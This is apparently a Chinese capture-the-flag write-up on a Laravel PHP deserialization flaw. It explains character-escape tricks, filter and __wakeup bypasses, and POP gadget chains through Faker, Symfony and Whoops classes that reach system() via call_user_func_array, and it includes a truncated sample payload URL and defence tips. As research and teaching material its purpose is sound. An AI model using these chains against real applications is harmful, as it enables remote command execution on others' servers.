安洵杯Laravel反序列化非预期+POP链挖掘
字数 1155 2025-08-18 17:33:19
Laravel反序列化漏洞分析与POP链挖掘技术详解
一、基础概念与技术要点
1. PHP序列化属性差异
PHP中不同可见性属性的序列化表现:
- Public属性:直接显示属性名
O:4:"test":1:{s:5:"test1";s:3:"aaa";} - Protected属性:显示为
%00*%00属性名(长度增加6)s:8:"*test2";s:3:"aaa"; - Private属性:显示为
%00类名%00属性名(长度增加3+类名长度)s:11:"testtest3";s:3:"aaa";
2. PHP反序列化字符逃逸
常见于替换操作导致的字符长度变化:
function read($data) {
$data = str_replace('?', chr(0)."*".chr(0), $data); // 1字符变3字符
return $data;
}
function write($data) {
$data = str_replace(chr(0)."*".chr(0), '?', $data); // 3字符变1字符
return $data;
}
逃逸原理:
- 通过构造特定数量的
?使序列化字符串解析错位 - 利用长度计算差异将恶意payload逃逸出字符串范围
3. 常见绕过技术
-
关键字检测绕过:
// 原始检测 if(stristr($data, 'name') !== false) { die("Name Pass\n"); } // 绕过方法:使用十六进制表示 \6e\61\6d\65 // 对应"name" -
__wakeup()绕过:
当序列化字符串中对象属性个数大于实际属性个数时,会跳过__wakeup()执行O:4:"test":2:{...} // 实际只有1个属性
二、Laravel反序列化漏洞分析
1. 漏洞入口点
app/Http/Controllers/DController.php中的反序列化操作
2. 关键POP链构造
链1:通过PendingResourceRegistration触发
namespace Illuminate\Routing;
class PendingResourceRegistration {
protected $registrar;
protected $name = "admi\6e"; // 绕过admin检测
protected $controller = '恶意命令';
public function __destruct() {
if($this->name='admin'){
$this->registrar->edit($this->controller); // 触发__call
}
}
}
配合Faker组件的Generator类:
namespace Faker;
class Generator {
protected $formatters = array('edit'=>'system');
// 触发链:
// __call() -> format() -> getFormatter() -> ValidGenerator->format()
}
链2:通过ImportConfigurator触发
namespace Symfony\Component\Routing\Loader\Configurator;
class ImportConfigurator {
private $parent;
public function __destruct() {
$this->parent->addCollection($this->route); // 触发__call
}
}
3. 最终利用链
- 通过
__destruct或__wakeup触发初始调用 - 调用不存在的方法触发
__call - 经过Faker组件的
format方法 - 到达
ValidGenerator::format()中的call_user_func_array
// 最终执行点
public function format($formatter, $arguments = array()) {
return call_user_func_array($formatter, $arguments);
}
三、高级POP链挖掘技术
1. 原生POP链挖掘方法
挖掘步骤:
- 从常见起点开始(
__destruct,__wakeup) - 分析每个方法的调用链
- 寻找最终可控制的危险函数调用(如
call_user_func)
示例链:
ImportConfigurator::__destruct()
-> QueueManager::addCollection() // 触发__call
-> Generator::__call()
-> Generator::format()
-> Generator::getFormatter()
-> ValidGenerator::format() // 执行call_user_func_array
2. 参数控制技巧
通过QueueManager控制参数:
namespace Illuminate\Queue;
class QueueManager {
protected $app = [
'config' => [
'queue.connections.qing' => ['driver'=>'qing']
]
];
protected $connectors = [
'qing' => [$callbackObj, 'method']
];
}
3. 回调函数控制
使用Whoops组件的CallbackHandler实现参数控制:
namespace Whoops\Handler;
class CallbackHandler {
public function handle() {
$callable($exception, $inspector, $run); // 可控制第一个参数
}
}
四、完整利用Payload构造
1. 字符逃逸处理
计算需要插入的?数量:
- 确定要逃逸的payload长度
- 计算每个
?可产生的额外空间(1变3,多2字符) - 构造合适数量的
?使payload能完整逃逸
2. 示例Payload
http://example.com/task?task=????????...?";s:5:"qingx";O:46:"Illuminate\Routing\PendingResourceRegistration":4:{...}
3. 私有属性处理
在序列化字符串中:
- 将
%00替换为\0 - 确保长度计算准确
五、防御建议
- 避免反序列化用户输入
- 使用签名验证序列化数据
- 及时更新框架版本
- 限制危险函数的使用
- 对反序列化操作进行严格的类型检查
六、参考资源
通过深入理解这些技术原理和构造方法,安全研究人员可以更有效地挖掘和防御Laravel应用中的反序列化漏洞。